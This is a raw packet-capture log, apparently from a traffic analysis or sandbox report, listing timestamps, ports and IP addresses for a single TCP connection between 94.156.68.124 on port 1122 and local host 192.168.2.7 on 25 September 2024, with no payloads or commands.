Sep 25, 2024 01:11:10.873759985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873775005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873784065 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.873786926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873800993 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873807907 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.873816013 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873828888 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873836040 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.873842001 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873852968 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.873862028 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.873886108 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.874406099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.874418020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.874429941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.874443054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.874454021 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.874455929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.874466896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.874478102 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.874479055 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.874490023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.874501944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.874512911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.874514103 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.874527931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.874538898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.874555111 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.874984980 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.874996901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.875009060 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.875020027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.875030041 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.875031948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.875045061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.875056028 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.875058889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.875070095 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.875073910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.875087023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.875097036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.875097990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.875112057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.875123024 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.875158072 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.948755026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.948796034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.948807001 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.948863029 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.948899984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.948913097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.948925972 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.948946953 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.948965073 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.949047089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949059963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949093103 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.949209929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949222088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949273109 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.949367046 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949387074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949399948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949412107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949420929 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.949424028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949436903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949448109 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.949474096 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.949760914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949773073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949784040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949806929 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.949938059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949949980 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949960947 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949970961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.949982882 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.950004101 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.990473032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.990494967 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.990508080 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.990518093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.990529060 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.990534067 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.990556955 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.990596056 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.990613937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.990626097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.990636110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.990655899 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.991226912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991277933 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.991280079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991292000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991328001 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.991344929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991453886 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991465092 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991473913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991486073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991504908 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.991524935 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.991610050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991652012 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.991687059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991698027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991713047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991731882 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.991808891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991821051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991832018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991841078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.991856098 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.991883039 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.992419958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992439985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992449999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992482901 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.992536068 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992547035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992578030 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.992616892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992626905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992638111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992660046 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.992728949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992775917 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.992829084 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992839098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992849112 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992861032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992872000 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.992876053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.992898941 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:10.993071079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.993082047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:10.993120909 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.002970934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.002988100 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.003046036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.003529072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.003582001 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.003582954 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.003597975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.003634930 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.003752947 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.003765106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.003776073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.003815889 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.003865957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.003905058 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.003957987 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.003968954 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004008055 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.004087925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004100084 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004111052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004137993 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.004251003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004264116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004297018 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.004386902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004399061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004411936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004441977 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.004457951 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.004525900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004538059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004576921 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.004656076 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004673004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004692078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004703045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.004729986 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.004757881 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.005235910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005284071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005294085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005333900 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.005403042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005414963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005425930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005455971 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.005465984 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.005578041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005633116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005726099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005738020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005748034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005760908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005773067 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.005795956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.005955935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005968094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005979061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.005989075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.006014109 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.006047964 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.007467031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.007535934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.007546902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.007582903 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.007647038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.007735968 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.007745981 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.007756948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.007767916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.007769108 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.007786036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.007812977 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.007956982 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008064985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008074999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008085012 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008096933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008104086 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.008107901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008119106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008128881 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.008152962 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.008449078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008461952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008472919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008483887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008495092 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008502007 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.008507967 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008518934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.008529902 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.008541107 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.008554935 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.086239100 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086257935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086271048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086293936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086306095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086318970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086330891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086355925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.086374044 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.086520910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086566925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086577892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086617947 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.086693048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086705923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086719036 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086730003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086755037 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.086779118 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.086956978 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086970091 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086982012 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.086993933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.087007046 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.087008953 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.087021112 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.087038994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.087068081 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.087340117 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.087352991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.087367058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.087377071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.087400913 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.087421894 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.099572897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.099585056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.099597931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.099630117 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.099692106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.099704981 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.099716902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.099746943 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.099772930 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.099817991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.099874020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.099885941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.099898100 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.099912882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.099920988 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.099944115 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.100106955 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100147963 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.100186110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100199938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100213051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100224972 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100236893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100250959 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.100279093 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.100446939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100457907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100502968 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.100517988 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100531101 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100543022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100553989 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100563049 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.100567102 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100579977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100588083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.100611925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.100977898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.100989103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101000071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101012945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101026058 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.101028919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101033926 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.101042986 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101056099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101077080 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.101092100 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.101279020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101291895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101309061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101322889 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.101397038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101409912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101422071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101433992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101444960 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.101448059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.101459026 CEST	1122	49700	94.156.68.124	192.168.2.7
